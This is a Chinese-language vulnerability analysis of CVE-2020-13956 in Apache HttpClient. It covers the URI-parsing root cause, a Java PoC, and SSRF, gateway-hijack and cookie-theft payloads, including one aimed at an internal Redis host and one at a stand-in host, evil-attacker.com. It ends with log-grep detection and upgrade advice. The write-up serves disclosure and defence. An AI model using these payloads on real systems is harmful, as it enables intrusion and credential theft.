CVE-2020-13956: Apache HttpClient 异常 URI 解析漏洞原理与排查分析

0x00 漏洞背景与详情

  • 漏洞名称:Apache HttpClient 错误的 URI 权限组件解析漏洞
  • CVE 编号:CVE-2020-13956
  • 影响组件:Apache HttpClient
  • 影响版本
    • 4.5.x < 4.5.13
    • 5.0.x < 5.0.3

Apache HttpClient 在解析 URI 中的 Authority(权限)部分时,对异常格式的 URI 处理存在逻辑错误。当 URI 中包含特殊字符组合时,HttpClient 提取的主机名(Host)与实际发起底层网络连接的目标主机可能不一致,这种差异解析(Differential Parsing)为攻击者提供了绕过安全校验的机会。

0x01 漏洞原理分析

漏洞的核心在于 URIUtils.extractHost 方法的解析逻辑与底层 HTTP 请求执行时的目标地址产生偏差。

当攻击者构造包含特殊字符(如多个 @ 符号,或特定端口注入)的恶意 URI 时:

  1. 后端业务代码通常会调用 URIUtils.extractHost 方法获取目标主机,并根据白名单等机制进行合法性校验。
  2. 然而,HttpClient 底层的执行逻辑在处理此类畸形 URI 时,最终连接的目标主机可能并非上一步提取出的“合法主机”,而是 URI 中由攻击者控制的实际恶意主机。

这种“眼见不为实”的解析差异,直接破坏了基于 URL 提取的访问控制策略。

0x02 漏洞 POC 与高级利用案例

POC 示例(Java)

攻击者可以通过构造特殊的 URI 来欺骗 HttpClient:

import org.apache.http.HttpHost;
import org.apache.http.client.utils.URIUtils;
import java.net.URI;

public class CVE202013956 {
    public static void main(String[] args) throws Exception {
        // 构造恶意 URI
        // HttpClient 的 extractHost 解析可能认为目标是 expected-host.com
        // 但底层实际连接可能会指向 actual-evil-host.com
        String malformedUri = "http://expected-host.com:80@actual-evil-host.com/";
        URI uri = URI.create(malformedUri);
        
        HttpHost target = URIUtils.extractHost(uri);
        System.out.println("Extracted Host: " + target.getHostName());
        
        // 在受影响版本中,extractHost 可能会返回 expected-host.com,从而绕过白名单
        // 而执行 execute(uri) 时,网络层实际却访问了 actual-evil-host.com
    }
}

SSRF 与权限绕过进阶姿势

1. SSRF 白名单完美绕过

在某应用中,存在从用户输入 URL 抓取外部资源的逻辑。为了安全,系统规定只允许抓取内网特定白名单域名(如 internal-white-list.com)的资源。

  • 攻击载荷: http://internal-white-list.com:80@10.0.0.1:6379/
  • 利用效果: 系统的校验逻辑调用 extractHost,提取到 internal-white-list.com,判断合法放行;但 HttpClient 最终向内网的 10.0.0.1:6379(Redis 服务)发起请求。攻击者借此实现了 SSRF,进一步结合 Redis 未授权漏洞拿到了内网服务器权限。

2. 微服务网关/代理路由劫持

基于受影响的 HttpClient 构建的微服务网关(如旧版 Spring Cloud Zuul)或代理组件,在依赖 Host 字段进行权限控制和路由转发时,会被恶意构造的 Host 绕过。

  • 场景: 网关仅允许外部访问 api.public.service,内部有一个未授权的 api.admin.service
  • 攻击载荷: GET http://api.public.service:80@api.admin.service/v1/deleteUser
  • 利用效果: 网关权限审计判定目标为合法公共服务并放行,但底层 HTTP 请求却被路由到了敏感的内部管理服务,导致严重的越权操作。

3. 跨域凭证窃取

某些系统在处理敏感操作前会校验 URL 的域名,确保其来自受信任的域,并自动带上当前域的 Cookie 凭证发送请求。

  • 攻击载荷: http://trusted.domain.com:80@evil-attacker.com/
  • 利用效果: 由于 extractHost 的误判,攻击者诱导目标应用对 evil-attacker.com 发起了带有高权限 Cookie 的请求,从而窃取了管理员的身份凭证。

0x03 应急排查与日志痕迹分析建议

1. 漏洞环境排查

  • 依赖检查:检查项目 pom.xmlbuild.gradle 中的 httpclient 版本。
  • 动态检测:在服务器运行环境中全局搜索 httpclient-*.jar 文件,重点关注版本是否落在 4.5.x < 4.5.135.0.x < 5.0.3 区间。

2. 日志痕迹分析

由于该漏洞是基于畸形 URI 解析触发的,安全人员应重点关注应用日志(Application Logs)和 Web 服务器日志(如 Nginx/Apache 访问日志):

  • 畸形 URL 特征匹配: 在日志中检索包含多个 @ 符号或异常端口格式的 URL 字符串:
    grep -r "@.*@" /var/log/app/
    grep -r ":[0-9]*@" /var/log/app/
  • 异常外联分析(SSRF 行为): 重点分析是否存在短时间内大量访问异常外部域名的记录,特别是那些本应只访问内网或特定白名单域名的业务接口(如 webhook 接口、图片拉取接口等)。
  • 流量异常: 监控网络流量(通过 Pcap 或流量分析平台),查看实际出向 HTTP 请求的 Host 头部是否与应用预期的业务逻辑产生偏离。

0x04 修复与缓解建议

  1. 升级组件版本(首选): 将 httpcomponents-client 升级到官方修复的稳定版本:
    • 4.x 分支升级至 4.5.13 及以上
    • 5.x 分支升级至 5.0.3 及以上
  2. 严格的输入验证: 在将用户提供的 URL 传递给 HttpClient 之前,使用严格的正则表达式进行预先清洗与校验,禁止包含连续的 @ 或异常端口嵌套等不符合标准规范的特殊字符。
  3. 逻辑审计: 检查代码中所有调用 URIUtils.extractHost 的位置,确保核心业务的安全判定(如白名单限制)不单一依赖该方法返回的结果。

0x05 参考资料